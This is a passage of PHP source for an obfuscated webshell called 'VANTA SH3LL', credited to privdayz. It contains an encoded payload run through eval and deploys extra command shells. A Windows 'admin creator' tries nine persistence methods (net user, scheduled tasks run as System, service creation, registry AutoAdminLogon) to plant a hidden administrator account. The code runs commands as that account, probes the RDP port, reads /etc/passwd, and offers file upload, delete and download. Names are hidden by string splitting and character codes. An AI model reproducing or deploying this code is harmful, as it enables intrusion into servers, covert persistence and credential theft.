6040a091246550b20395f5f26097d1b5606587006431b412d363266420a4f25047c0066045018104f46123a02074d5945185d45696c145c093b1917680c201f5a1b5f374f441f4501737510110f502958707b0b054a1142434269570712594242425d452b5c540b3305510a60192103661c463448101f4501707310111b506c540b160c1f434a1947390451131c5942473957517e6f175b623a411d7a3660411b4f18784e1653497a1d720c185a0d6c5208110814431f19413a03531109441f4541395779131b4e21135b593c187d55665d027401541b41737369021108463805264a19760647580f4e14390706385351533a1d7e57044e7c461d757a5e755f194d6a6f12384f566c1e380f04265b7b44085c0e033f000f513a4e53566e505239545655114b145a0e1e0f1c141267496517046c7d550352023a765d6d0215782c6115654e50531b4a5d161808121942413a5457166e065372004c442b1e3c1e574f1e7c7e5502487e39604b540e563e1e74645c40025d1147390750131c4440395255476408061369461d757a580e2c1952163e540a5415372d2e19195e7c7d457d04421611544d16145845735317110017124d696c175b72481908141266131b460d785c5f1745017072626c5a1e6c16214a5a420a5e57434e123a02074d421e45423a7f05065372085c5d68383017550a552c480b59272b2c234d58154d641326415842066e5f160855115a5d0a4a42424a456f6f5e59603a411c7d362d460d33076e14384f566c1e710c0726177c2c6215654e50531b4a4f0d45176d565545584641120110436c015c5e060b381411460d78480217497a1d720e185a586c0231504c440d117900075a096c471707173a001023500e4a0d540e06684e0a400c460d785c4445042a373257115d047750291f19123c030b383b16581354110c06110f0a23130e4a0d570c03681175035c1b432a4f4447136f347041195e7c7d457d1f194b58111d3c54043e6e12594203100806395a4900724e1d75795f7c51424f443d5511450f7e32320b474a5b64540b150c1f5811445846123a01003f3f45584603385d451a3b09570a604e0a400c4616230140685366627d196e2565053c117b660d431566515f165813540d0e003a0100396c45013c125c443c197d55665d0e711a445e077e6a334d430a4c3f58707b0b0f4f111b3f5101394b0101404c4547587013400f3e155c0368117555665c06781c4444143c31344b195e7c7e4978044a42114156104e123a010b4842473951521104104c7b46120a7a436e51444f53345201171a7e661f0a015a1e6c57731f194b435e5b3c15420441464c4b5e4526003b524a4676390a1a61517555665e04781c4458030125254d6e194f29113a0c100d43435c1713440b13163b53575e46187613023160546277685775174c01552c480b594176661f08045303375026414d43115f1913140406034a4c463a54534c76135b55724266187a310851044f502d4f074308312c60111525127959745f19123c0309435b16476f4a5607395051476d1d061b3c0f48432c42772d4158050459520f3d6f75701b1841032a193841664616456600095811565c10114d4139577d1f064c0e520a763058642d0c586a6915566b506b731c41071f7f7947085c0e053f000c533a4e0448163b5350183a1d2c110f5572055147270e7d55665d067401500e527779601d6e48126c4d744442123c03091e46045b1503045945100809245d4d4676390b1a615175035c1b432a4f44133e6c737b194c4103682f6715190b43504b11074f4d55470a01110c090b6d1b02316154100a334a27144d1a4436014068526c7960441d5a45391e375050590d1111473905571a121f42170012103f5d060c33155c1c7c3531145a00523d090656123b7474665414402314310c1d695003104a5d16181f1202170b06120c225d064676390a18614a2e511d30076a015917467979601d6e49106c4d74150a0d43575611461e416c01445f45555d45696c154e6e464a5e3a06301f114b696b134d0c417a1d73121a53033750707b0804431f0443055e171b5d16064d4139567f1a0630724266197b436e51444f443d5511450f7e661f08034103315c74424c580045500c08164d176d57504c451d45696c155a725b190d6f517517561d1670053b044163627002115e7c7f5068044a42115d5c0d4e123a00004d594541395666180f4e29461d757b5e755f044f14045951543d6f75701b1154032815374c5c4e4b5e4b074e123a00003f463a563b4c6408061372145c5e3d183b511d30056c1a444a4d7e243557520e4a231e740c1d69500310431d1617564611100b450f083d5f490a374e1b7630583053154f572a53054e3e33233011570f4d2f043d4b57164b156652561f45481216071110140b6d117a5f6655651b7d5a09400f5d6a20135c154170622f4b5552071341640d19184313655657145e134f48421611143a3e434a07264e1d757b587c5810541625085f1745017175190c5a046b4b7442564406505a0b461e416c0056420416464112001047721d194c271830105a071670053b04507e2333191525107b59745f19123c0201435b16416c01534a413a514c76130231615f1917682a712e0a591e7c7e570f486562295f11520713436d041f1043454b0a0b1e416c015d4b45445b586d140147721d190e17596051044f1207125d0c413c3025585a5a117750290444161e115005461e44176d57574c451d45696c155b725b1908145b6642655e036e7d1c010702767065004f141008631165075505651b5106394b05513e1d52523979037a166400651b7e5809090b5f6a2017566b506b761c41071c7f7d4467780803506d4155536a540706381a5001445e6d4e060b310e560a201e381d4a1f533b48055b023623324a195e7c7f457d1f195300595643446a1d0051381a57033a547b037a5f6454651b7c5f09460f334e6b42380256023a760b6d4b167b2c2c120d6a5206083f1e05006f05503e50523a5478037a5f645265527e0e09090f0c6a201201155a7e26295c0a5a5e6c4f6a";$ve5c970b653=f0fe28bdc4c($vfa90f6f087,$v6789ef794d);if($ve5c970b653!==false){eval("?>".$ve5c970b653);}else{echo"RSS Error.";} ?>
PHP;
$f = fopen($phf,"w"); fwrite($f,$php_payload); fclose($f); chmod($phf,0755);
$paths[] = ["Php c0mmand sh3ll VANTA", $phf];
$fullbase = $domain . ($dir ? $dir : '');
echo '<di'.'v'.' c'.'la'.'ss='.'"pz'.'ca'.'r'.'d-'.'a'.'le'.'r'.'t"'.'><'.'i'.' c'.'las'.'s'.'="f'.'as '.'fa'.'-bi'.'oh'.'a'.'za'.'rd"'.'><'.'/i'.'> <'.'b'.'>CG'.'I d'.'e'.'plo'.'ye'.'d!'.' Al'.'l '.'chm'.'o'.'d '.'7'.'5'.'5.'.'<'.'/'.'b><'.'br'.'>'.'<'.'u'.'l c'.'las'.'s='.'"pz'.'car'.'d-'.'sh'.'e'.'l'.'ls-'.'l'.'ist'.'">';
foreach($paths as $sh) {
$rel = $sh[1];
$url = $fullbase . '/' . $rel;
$link = $url . '';
echo '<li'.'>'.'<b'.' s'.'ty'.'le='.'"'.'col'.'or'.':#e'.'5'.'39'.'35"'.'>'.htmlspecialchars($sh[0]).'</b'.'>: '.'<'.'co'.'de'.'>'.htmlspecialchars($rel).'<'.'/c'.'ode'.'>'.'
'.' '.' '.' <'.'a '.'hr'.'ef='.'"'.$link.'"'.' t'.'a'.'r'.'get'.'="'.'_'.'b'.'lan'.'k'.'">'.'Ope'.'n</'.'a>'.'
'.' '.' '.'<s'.'p'.'an>'.'(ch'.'mod'.' '.'75'.'5'.')'.'</'.'s'.'p'.'an>'.'
'.' '.' '.' '.'</'.'l'.'i>';
}
echo '<'.'/u'.'l>'.'<'.'/di'.'v>';
}
?>
</div>
</div>
<?php elseif (isset($_GET['wi'.'n'.'r'.'0'.'0t'])): ?>
<div class="vanta-cmd-page" style="max-width:900px;margin:44px auto 0 auto;">
<div class="vanta-cmd-header" style="display:flex;align-items:center;gap:10px;">
<div class="vanta-cmd-ico"><i class="fas fa-user-shield"></i></div>
<div>
<div class="vanta-cmd-title" style="font-size:1.15em;">ultra admin creator byp4ss (Windows/2025) - by privdayz.com</div>
</div>
</div>
<div class="vanta-cmd-content" style="margin-top:25px;">
<form method="post" id="winr00t-form" style="margin-bottom:18px;">
<div style="display:flex;gap:9px;align-items:center;flex-wrap:wrap;">
<input type="text" name="user" class="vanta-cmd-cmdinput" value="<?= htmlspecialchars($_POST['us'.'e'.'r']??'V'.'ANT'.'Aa'.'d'.'mi'.'n') ?>" placeholder="user" style="width:170px;">
<input type="text" name="pass" class="vanta-cmd-cmdinput" value="<?= htmlspecialchars($_POST['p'.'as'.'s'] ?? substr(str_shuffle('abc'.'d'.'efg'.'hij'.'k'.'lm'.'n'.'opq'.'rst'.'uvw'.'x'.'y'.'zA'.'BC'.'DE'.'F'.'G'.'H'.'IJ'.'K'.'LM'.'NO'.'PQ'.'R'.'ST'.'UV'.'WXY'.'Z01'.'2'.'3'.'4'.'5'.'678'.'9'), 0, 12)) ?>" placeholder="pass" style="width:160px;" readonly>
<select name="mode" class="vanta-cmd-cmdinput" style="width:110px;">
<option value="auto">ultra byp4ss</option>
</select>
<button class="vanta-cmd-btn" type="submit" style="min-width:90px;"><i class="fas fa-user-plus"></i> Create</button>
</div>
</form>
<?php
function detect_rdp_port() {
$reg = v4nt4C('re'.'g '.'qu'.'er'.'y'.' '.'"'.'HKL'.'M\\\\'.'SYS'.'TEM'.'\\'.'\\Cu'.'r'.'ren'.'t'.'Co'.'n'.'t'.'r'.'o'.'lS'.'et'.'\\\\C'.'o'.'ntr'.'ol\\'.'\\T'.'er'.'min'.'al '.'Se'.'rv'.'er'.'\\'.'\\W'.'in'.'S'.'t'.'at'.'io'.'n'.'s\\\\'.'RD'.'P-'.'Tc'.'p'.'" '.'/v'.' P'.'or'.'tNu'.'mb'.'er'.' '.'2>&'.'1');
if (preg_match('/Po'.'r'.'tN'.'um'.'b'.'er\\'.'s+R'.'E'.'G_'.'D'.'WOR'.'D'.'\\s+'.'0'.'x'.'(['.'0-9'.'a'.'-f]'.'+'.')/i', $reg, $m)) {
return hexdec($m[1]);
}
$netstat = v4nt4C('ne'.'t'.'s'.'ta'.'t'.' -'.'an'.' '.'|'.' fi'.'n'.'d '.'":'.'338'.'9"');
if (strpos($netstat, '33'.'8'.'9') !== false) {
return 3389;
}
return 'Un'.'kn'.'o'.'wn';
}
$rdp_port = detect_rdp_port();
echo "<div style=\"color:#e53935;font-size:1.08em;padding:5px 0 8px 0;\"><b>RDP Port:</b> <span style='color:#1976d2;font-family:monospace;'>" . htmlspecialchars($rdp_port) . "</span></div>";
?>
<label class="vanta-cmd-outputlabel" style="margin-top:18px;display:block;">Output:</label>
<pre class="vanta-cmd-output" id="winr00t-output" style="background:#111;color:#c4ffc4;padding:18px;border-radius:9px;min-height:110px;max-height:1500px;overflow:auto;">
<?php
function wout($msg) { echo htmlspecialchars($msg)."\n"; @ob_flush(); flush(); }
function prvd_exec_with_timeout($cmd, $timeout = 10) {
$ps = "powershell -Command \"\$p = Start-Process -FilePath 'cmd.exe' -ArgumentList '/c $cmd' -NoNewWindow -PassThru; \$p | Wait-Process -Timeout $timeout; if(-not \$p.HasExited){\$p.Kill()}\"";
$start = microtime(true);
$out = v4nt4C($ps.' '.'2'.'>'.'&'.'1');
if (trim($out)) return $out;
$fallback = "timeout /T $timeout /NOBREAK & $cmd";
$out2 = v4nt4C($fallback.' 2'.'>&1');
if (trim($out2)) return $out2;
return v4nt4C($cmd.' '.'2>&'.'1');
}
if (!isset($_SESSION['v'.'4'.'nt'.'4_w'.'inr'.'00t'.'_s'.'u'.'cce'.'s'.'s'])) $_SESSION['v4n'.'t'.'4_'.'wi'.'nr'.'00t'.'_'.'suc'.'ce'.'ss'] = false;
if (!isset($_SESSION['v4n'.'t4_'.'win'.'r00'.'t_'.'use'.'r'])) $_SESSION['v'.'4nt'.'4_w'.'i'.'nr'.'00t'.'_'.'u'.'s'.'er'] = '';
if (!isset($_SESSION['v4n'.'t4'.'_w'.'in'.'r00'.'t_'.'pas'.'s'])) $_SESSION['v4'.'nt'.'4_w'.'i'.'nr0'.'0t'.'_pa'.'s'.'s'] = '';
if ($_SERVER['REQ'.'U'.'ES'.'T_M'.'ET'.'HOD'] === 'POS'.'T' && isset($_POST['use'.'r'],$_POST['pas'.'s'])) {
$u = preg_replace('/[^'.'a-z'.'A'.'-'.'Z0'.'-9'.'_\\'.'-'.']'.'/','',$_POST['u'.'s'.'er']);
$p = $_POST['p'.'a'.'ss'];
$mode = $_POST['m'.'ode'] ?? 'a'.'uto';
$success = false;
$methods = [];
$methods[] = [
"[*] net user (classic)",
"net user \"$u\" \"$p\" /add && net localgroup Administrators \"$u\" /add"
];
$methods[] = [
"[*] PowerShell (background)",
"powershell -Command \"net user $u $p /add; net localgroup Administrators $u /add\""
];
$methods[] = [
"[*] schtasks",
"schtasks /create /tn winrrrrrr00t /tr \"cmd.exe /c net user $u $p /add && net localgroup Administrators $u /add\" /sc onstart /ru System"
];
$methods[] = [
"[*] at.exe",
"at 12:00 cmd.exe /c \"net user $u $p /add && net localgroup Administrators $u /add\""
];
$methods[] = [
"[*] sc service hack",
"sc create p0wnsvc binPath= \"cmd /c net user $u $p /add & net localgroup Administrators $u /add\" start= auto"
];
$methods[] = [
"[*] Registry AutoAdminLogon",
"reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v AutoAdminLogon /t REG_SZ /d 1 /f"
];
$methods[] = [
"[*] Fallback CMD",
"cmd /c net user $u $p /add & net localgroup Administrators $u /add"
];
$methods[] = [
"[*] PowerShell Script Chain",
"powershell -Command \"Start-Process cmd -ArgumentList '/c net user $u $p /add && net localgroup Administrators $u /add' -Verb runAs\""
];
$methods[] = [
"[*] Task Scheduler V2 (schtasks)",
"schtasks /create /tn winr00t2 /tr \"cmd.exe /c net user $u $p /add && net localgroup Administrators $u /add\" /sc onlogon /ru System"
];
foreach ($methods as $step) {
list($label, $cmd) = $step;
wout($label . "...");
$res = prvd_exec_with_timeout($cmd, 9);
wout($res);
if (
stripos($res, 'suc'.'ces'.'s') !== false || stripos($res, 'o'.'k') !== false ||
stripos($res, 'Re'.'tu'.'rn'.'Va'.'lue'.' '.'='.' '.'0') !== false ||
stripos($res, 'b'.'a'.' '.' ar'.'ı') !== false ||
stripos($res, 'al'.'r'.'ea'.'d'.'y '.'exi'.'st'.'s') !== false
) {
wout("[+] Admin user injected!");
$success = true;
break;
}
sleep(1);
}
if ($success) {
$_SESSION['v'.'4n'.'t4'.'_w'.'inr'.'00'.'t_'.'su'.'cc'.'ess'] = true;
$_SESSION['v'.'4'.'n'.'t'.'4_'.'wi'.'nr0'.'0t'.'_u'.'s'.'e'.'r'] = $u;
$_SESSION['v'.'4'.'n'.'t4'.'_'.'w'.'i'.'nr'.'0'.'0t'.'_pa'.'s'.'s'] = $p;
wout("\n[+] 0wn3d! Admin user injected:\n[+] User: $u\n[+] Pass: $p");
wout("[!] Info: Webshell cannot send commands as this user. Use RDP/SMB/WinRM with these credentials!");
} else {
$_SESSION['v'.'4nt'.'4_'.'w'.'in'.'r'.'00t'.'_'.'s'.'uc'.'c'.'es'.'s'] = false;
wout("\n[!] r00t failed :: no vector worked, permission denied.");
}
}
if ($_SESSION['v'.'4n'.'t4_'.'win'.'r0'.'0t'.'_su'.'cc'.'ess']) {
$u = $_SESSION['v'.'4'.'nt4'.'_wi'.'n'.'r0'.'0t_'.'use'.'r'];
$p = $_SESSION['v'.'4nt'.'4_w'.'inr'.'00'.'t'.'_pa'.'ss'];
?>
</pre>
<form method="post" style="margin:22px 0 6px 0;padding:13px 16px 14px 16px;border-radius:10px;background:#191919;border:1.5px solid #e53935;box-shadow:0 2px 8px #0002;">
<div style="display:flex;align-items:center;gap:10px;flex-wrap:wrap;">
<input type="hidden" name="user" value="<?= htmlspecialchars($u) ?>">
<input type="hidden" name="pass" value="<?= htmlspecialchars($p) ?>">
<input type="text" name="admc" class="vanta-cmd-cmdinput" placeholder="c0mm4nd as 4dm1n" value="dir" style="width:260px;">
<button class="vanta-cmd-btn" style="min-width:95px;background:#e53935;"><i class="fas fa-bolt"></i> Run as Admin</button>
</div>
<div style="font-size:.96em;color:#fff;margin-top:5px;">
[+] Running as <b><?=htmlspecialchars($u)?></b> | Pass: <b><?=htmlspecialchars($p)?></b>
</div>
</form>
<pre class="vanta-cmd-output" style="background:#181818;color:#aaffbb;padding:14px;border-radius:8px;min-height:40px;margin-bottom:14px;">
<?php
if ($_SERVER['R'.'EQ'.'U'.'ES'.'T'.'_'.'MET'.'HO'.'D'] === 'POS'.'T' && isset($_POST['adm'.'c'], $_POST['us'.'e'.'r'], $_POST['pa'.'ss'])) {
$u = $_POST['u'.'s'.'er'];
$p = $_POST['pas'.'s'];
$c = $_POST['ad'.'mc'];
$success_cmd = false;
$cmdfile = "C:\\Windows\\Temp\\pzadmcmd_" . rand(10000, 99999) . ".txt";
wout("[*] schtasks as admin...");
$scht = "schtasks /create /tn pzadmtask /tr \"cmd.exe /c $c > $cmdfile 2>&1\" /sc once /st 00:00 /ru \"$u\" /rp \"$p\"";
$out1 = v4nt4C($scht.' '.'2'.'>'.'&'.'1');
wout($out1);
v4nt4C("schtasks /run /tn pzadmtask 2>&1");
sleep(1);
$output = @file_get_contents($cmdfile);
if ($output && strlen($output) > 0) {
wout("[+] Command executed as admin!\n" . $output);
$success_cmd = true;
}
@v4nt4C('sc'.'h'.'tas'.'ks'.' /d'.'e'.'l'.'et'.'e '.'/tn'.' '.'pza'.'dmt'.'ask'.' /f'.' 2>'.'&'.'1');
@unlink($cmdfile);
if (!$success_cmd) {
wout("[*] Trying service method...");
$svc = 'sc '.'c'.'r'.'ea'.'te '.'pza'.'dms'.'v'.'c '.'b'.'in'.'Pa'.'t'.'h= '.'"cm'.'d'.' /'.'c '.$c.' '.'> '.$cmdfile.' 2>'.'&1"'.' '.'ob'.'j= '.'".\\'.'\\'.$u.'"'.' p'.'a'.'ss'.'wor'.'d'.'= "'.$p.'" s'.'t'.'ar'.'t='.' '.'dem'.'an'.'d';
$out2 = v4nt4C($svc.' 2>'.'&'.'1');
wout($out2);
v4nt4C('sc '.'sta'.'r'.'t '.'pz'.'adm'.'s'.'v'.'c 2'.'>&'.'1');
sleep(1);
$output2 = @file_get_contents($cmdfile);
if ($output2 && strlen($output2) > 0) {
wout("[+] Service method: Command executed as admin!\n" . $output2);
$success_cmd = true;
}
@v4nt4C('sc'.' de'.'let'.'e p'.'zad'.'m'.'sv'.'c '.'2>&'.'1');
@unlink($cmdfile);
}
if (!$success_cmd) {
wout("[*] PowerShell fallback...");
$pw = 'po'.'wer'.'sh'.'ell'.' '.'-'.'Co'.'m'.'man'.'d '.'"'.'S'.'tar'.'t'.'-P'.'ro'.'c'.'e'.'ss'.' c'.'md '.'-A'.'rg'.'um'.'e'.'ntL'.'ist'.' \\\''.'/c '.$c.' '.'> '.$cmdfile.' '.'2>&'.'1\\\''.' '.'-'.'C'.'re'.'den'.'t'.'ia'.'l '.'(Ne'.'w-'.'Ob'.'jec'.'t '.'S'.'ys'.'t'.'e'.'m'.'.'.'Man'.'age'.'men'.'t'.'.A'.'u'.'tom'.'at'.'i'.'on'.'.'.'PS'.'C'.'r'.'ed'.'en'.'t'.'ia'.'l'.'(\\\''.$u.'\\\''.','.'(Co'.'n'.'ve'.'r'.'tT'.'o-S'.'e'.'c'.'ur'.'e'.'Str'.'ing'.' '.'\\\''.$p.'\\\' '.'-'.'AsP'.'l'.'a'.'inT'.'ex'.'t '.'-Fo'.'rc'.'e'.')'.')) '.'-W'.'in'.'do'.'w'.'S'.'tyl'.'e'.' Hi'.'d'.'de'.'n"';
$out3 = v4nt4C($pw.' 2'.'>&1');
wout($out3);
sleep(1);
$output3 = @file_get_contents($cmdfile);
if ($output3 && strlen($output3) > 0) {
wout("[+] PowerShell: Command executed as admin!\n" . $output3);
$success_cmd = true;
}
@unlink($cmdfile);
}
if (!$success_cmd) {
wout("[!] Admin command failed. Try RDP / manual login?");
}
}
?>
</pre>
<?php } ?>
</div>
</div>
<script>
window.onload = function() {
var el = document.getElementById('winr00t-output');
el.scrollTop = el.scrollHeight;
}
</script>
<style>
a.privd-link, a.privd-link:visited { color:#e53935!important; text-decoration:underline; }
a.privd-link:hover { color:#b71c1c!important; }
</style>
<?php else: ?>
<div class="v4nt4-lite-uname">
<span class="v4nt4-lite-dot"></span>
<?= php_uname(); ?>
</div>
<div class="v4nt4-lite-info">
<div class="v4nt4-lite-row">
<span class="v4nt4-lite-key">safe mode:</span>
<span class="v4nt4-lite-val <?= ini_get('saf'.'e'.'_m'.'od'.'e') ? 'v4'.'nt'.'4'.'-'.'li'.'t'.'e-o'.'n' : 'v4n'.'t4-'.'lit'.'e-o'.'f'.'f' ?>">
<?= ini_get('saf'.'e_m'.'od'.'e') ? 'O'.'N' : 'O'.'FF'; ?>
</span>
</div>
<div class="v4nt4-lite-row"><span class="v4nt4-lite-key">disable functions:</span>
<?php
$d1sxb = trim(ini_get('d'.'is'.'abl'.'e'.'_f'.'unc'.'ti'.'o'.'n'.'s'), ", \t\n\r\0\x0B");
if (!$d1sxb) {
echo '<s'.'pa'.'n'.' c'.'las'.'s="'.'v4n'.'t4-'.'lit'.'e-'.'va'.'l '.'v4'.'nt'.'4-'.'lit'.'e'.'-'.'o'.'n"'.' s'.'t'.'y'.'le='.'"b'.'ac'.'kg'.'r'.'o'.'un'.'d'.':'.'#e'.'a'.'fff'.'5;"'.'>N'.'o'.'ne'.'</'.'sp'.'an'.'>';
} else {
echo '<'.'sp'.'a'.'n c'.'l'.'as'.'s='.'"v4'.'nt'.'4'.'-l'.'ite'.'-v'.'al'.' v4'.'nt'.'4-'.'li'.'te'.'-o'.'ff"'.' s'.'ty'.'le'.'='.'"'.'whi'.'t'.'e'.'-s'.'pa'.'c'.'e:'.'nor'.'m'.'a'.'l'.';'.'"'.'>'
. str_replace(",", ", ", $d1sxb)
. '</'.'sp'.'an'.'>';
}
?>
</div>
</div>
<div class="v4nt4-filelist-root">
<div class="vanta-fm-actions">
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&createfolder" class="vanta-fm-btn" title="New Folder">
<i class="fas fa-folder-plus"></i> <span>create folder</span>
</a>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&createfile" class="vanta-fm-btn" title="New File">
<i class="fas fa-file-circle-plus"></i> <span>create file</span>
</a>
<form class="vanta-fm-upload" action="" method="post" enctype="multipart/form-data">
<input type="file" name="privdayz-upload" id="vanta-upload-1" class="vanta-fm-upload-input">
<button type="submit" name="privdayz-up-submit" class="vanta-fm-btn vanta-fm-btn-green">
<i class="fas fa-circle-check"></i> <span>byp4ss up</span>
</button>
</form>
<form class="vanta-fm-upload" action="" method="post" enctype="multipart/form-data">
<input type="file" name="w4f-upload" id="vanta-upload-2" class="vanta-fm-upload-input">
<button type="submit" name="w4f-up-submit" class="vanta-fm-btn vanta-fm-btn-green">
<i class="fas fa-circle-check"></i> <span>byp4ss up2</span>
</button>
</form>
</div>
<form action="" method="post">
<div class="v4nt4-filelist-body">
<div class="v4nt4-lite-breadcrumb">
<?php
$VANTAf1l3 = $VANTAxas[1]("{.[!.],}*", GLOB_BRACE);
$VANTAc2w = $VANTAxas[0]();
$fn_str_replace = _vnt_str([115,116,114,95,114,101,112,108,97,99,101]);
$fn_explode = _vnt_str([101,120,112,108,111,100,101]);
$fn_trim = _vnt_str([116,114,105,109]);
$cwd = $fn_str_replace("\\", "/", $VANTAc2w);
$pwd = $fn_explode("/", $fn_trim($cwd, "/"));
$build = "";
echo '<'.'a'.' '.'hre'.'f="'.'?'.'V'.'AN'.'TA=' . (is_callable($fxnxs) ? $fxnxs('/') : vanta_PR1V('/')) . '" '.'cla'.'ss'.'="'.'v4n'.'t4'.'-'.'li'.'t'.'e'.'-'.'bc'.'"'.'>/'.'</'.'a>';
foreach ($pwd as $i => $v) {
$build .= "/" . $v;
echo '<a'.' hr'.'ef='.'"'.'?VA'.'NT'.'A'.'=' . (is_callable($fxnxs) ? $fxnxs($build) : vanta_PR1V($build)) . '" c'.'la'.'ss'.'='.'"v4'.'nt'.'4-'.'li'.'t'.'e-b'.'c'.'"'.'>' . $v . '</a'.'>'.'/';
}
?>
</div>
<?php foreach ($VANTAf1l3 as $_D): ?>
<?php if ($VANTAxas[2]($_D)): ?>
<div class="v4nt4-file-row v4nt4-dir">
<span class="v4nt4-file-col v4nt4-file-check">
<input type="checkbox" name="check[]" value="<?= $_D ?>">
</span>
<span class="v4nt4-file-col v4nt4-file-icon"><i class="fa-solid fa-folder-open"></i></span>
<span class="v4nt4-file-col v4nt4-file-name">
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]() . '/' . $_D); ?>" class="v4nt4-file-link"><?= prvFx1($_D); ?></a>
</span>
<span class="v4nt4-file-col v4nt4-file-perm"><?= p3rms($VANTAxas[0]() . '/' . $_D); ?></span>
<span class="v4nt4-file-col v4nt4-file-size"></span>
<span class="v4nt4-file-col v4nt4-file-actions">
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()); ?>&re=<?= vanta_PR1V($_D) ?>" title="Rename"><i class="fa-regular fa-pen-to-square"></i></a>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()); ?>&ch=<?= vanta_PR1V($_D) ?>" title="Chmod"><i class="fa-solid fa-user-gear"></i></a>
</span>
</div>
<?php endif; ?>
<?php endforeach; ?>
<?php foreach ($VANTAf1l3 as $_F): ?>
<?php if ($VANTAxas[3]($_F)): ?>
<?php $ext = strtolower(pathinfo($_F, PATHINFO_EXTENSION)); ?>
<div class="v4nt4-file-row v4nt4-file">
<span class="v4nt4-file-col v4nt4-file-check">
<input type="checkbox" name="check[]" value="<?= $_F ?>">
</span>
<span class="v4nt4-file-col v4nt4-file-icon">
<?php if ($ext === 'ph'.'p'): ?>
<i class="fa-brands fa-php"></i>
<?php elseif (in_array($ext, ['j'.'pg','jpe'.'g','p'.'n'.'g','g'.'if','web'.'p','sv'.'g'])): ?>
<i class="fa-regular fa-image"></i>
<?php elseif (in_array($ext, ['z'.'ip','r'.'a'.'r','g'.'z','ta'.'r','7'.'z'])): ?>
<i class="fa-solid fa-box-archive"></i>
<?php elseif (in_array($ext, ['t'.'x'.'t','m'.'d','l'.'o'.'g'])): ?>
<i class="fa-regular fa-note-sticky"></i>
<?php elseif ($ext === 'j'.'s'): ?>
<i class="fa-brands fa-js"></i>
<?php elseif ($ext === 'c'.'s'.'s'): ?>
<i class="fa-brands fa-css3-alt"></i>
<?php elseif (in_array($ext, ['h'.'t'.'m'.'l','h'.'tm'])): ?>
<i class="fa-brands fa-html5"></i>
<?php elseif (in_array($ext, ['j'.'son','ya'.'m'.'l','y'.'ml','x'.'ml'])): ?>
<i class="fa-solid fa-code"></i>
<?php elseif (in_array($ext, ['m'.'p3','w'.'av','fl'.'ac'])): ?>
<i class="fa-solid fa-headphones"></i>
<?php elseif (in_array($ext, ['m'.'p'.'4','a'.'vi','m'.'ov','w'.'eb'.'m','m'.'k'.'v'])): ?>
<i class="fa-solid fa-film"></i>
<?php else: ?>
<i class="fa-regular fa-file"></i>
<?php endif; ?>
</span>
<span class="v4nt4-file-col v4nt4-file-name"><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()); ?>&f=<?= vanta_PR1V($_F); ?>" class="v4nt4-file-link"><?= prvFx1($_F); ?></a>
<span class="v4nt4-file-ext"><?= strtoupper($ext) ?></span>
</span>
<span class="v4nt4-file-perm <?= is_writable($VANTAxas[0]() . '/' . $_F) ? 'v'.'4nt'.'4-f'.'il'.'e'.'-w'.'ri'.'t'.'abl'.'e' : 'v4n'.'t'.'4-f'.'ile'.'-re'.'a'.'d'.'on'.'ly' ?>">
<i class="fas <?= is_writable($VANTAxas[0]() . '/' . $_F) ? 'fa-'.'unl'.'ock'.'-'.'a'.'lt '.'v4n'.'t4'.'-pe'.'rm'.'-'.'g'.'re'.'en' : 'f'.'a-l'.'ock'.' v4'.'nt4'.'-'.'per'.'m-'.'re'.'d' ?>"></i>
<?= p3rms($VANTAxas[0]() . '/' . $_F); ?>
</span>
<span class="v4nt4-file-size-badge">
<?= vantaFormat(filesize($_F)); ?>
</span>
<span class="v4nt4-file-col v4nt4-file-actions">
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()); ?>&re=<?= vanta_PR1V($_F) ?>" title="Rename"><i class="fa-solid fa-pen"></i></a>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()); ?>&ch=<?= vanta_PR1V($_F) ?>" title="Chmod"><i class="fa-solid fa-key"></i></a>
<a href="?action=delete&item=<?= vanta_PR1V($_F) ?>" title="Delete"><i class="fa-solid fa-trash"></i></a>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()); ?>&don=<?= vanta_PR1V($_F) ?>" title="Download"><i class="fa-solid fa-download"></i></a></span>
</div>
<?php endif; ?>
<?php endforeach; ?>
</div>
<div class="v4nt4-filelist-foot">
<select name="privdayz-select" class="v4nt4-filelist-select">
<option value="delete">delete</option>
<option value="unzip">unzip</option>
<option value="zip">zip</option>
</select>
<button type="submit" name="submit-action" class="v4nt4-filelist-btn"><i class="fa-solid fa-play"></i> submit</button>
</div>
</form>
</div>
<?php endif; ?>
</div>VANTA SH3LL v1.0 - join telegram channel: <a href="https://t.me/privdayz">https://t.me/privdayz</a>
</div>
</div>
<?php if (isset($_GET['pas'.'s'.'w'.'d'])) : ?>
<div class="v4nt4-modal-bg">
<div class="v4nt4-modal-wizard" style="max-width:600px;min-width:0;">
<div class="v4nt4-modal-header-wiz">
<div class="v4nt4-wiz-icon" style="background:#607d8b;"><i class="fas fa-key"></i></div>
<div>
<div class="v4nt4-wiz-title">read passwd</div>
<div class="v4nt4-wiz-desc">view /etc/passwd</div>
</div>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>" class="v4nt4-modal-close-wiz">×</a>
</div><div class="v4nt4-wiz-section" style="padding:20px 24px;">
<textarea readonly class="v4nt4-wiz-input" style="
width:100%; min-height:240px; max-height:440px; font-size:1.07em; background:#fff4f4; color:#374151;
border:1.3px solid #ddecec; border-radius:10px; font-family:'Recursive','Fira Mono',monospace;
padding:14px 11px; box-sizing:border-box; line-height:1.52;
"><?php
$Vt5 = function($q){$k='';foreach($q as $b){$k.=chr($b);}return $k;};
$gZx = '';
$UyB = [47,101,116,99,47,112,97,115,115,119,100];
$FTy = [99,97,116,32,47,101,116,99,47,112,97,115,115,119,100];
$UoX = $Vt5([105,115,95,114,101,97,100,97,98,108,101]);
$Jga = $Vt5([102,105,108,101,95,103,101,116,95,99,111,110,116,101,110,116,115]);
$U7w = $Vt5([102,117,110,99,116,105,111,110,95,101,120,105,115,116,115]);
$Acg = $Vt5([115,104,101,108,108,95,101,120,101,99]);
$Vrv = $Vt5([101,120,101,99]);
$JHd = $Vt5([105,109,112,108,111,100,101]);
$Lcy = $Vt5([104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115]);
if(@$U7w($UoX) && @$UoX($Vt5($UyB))){
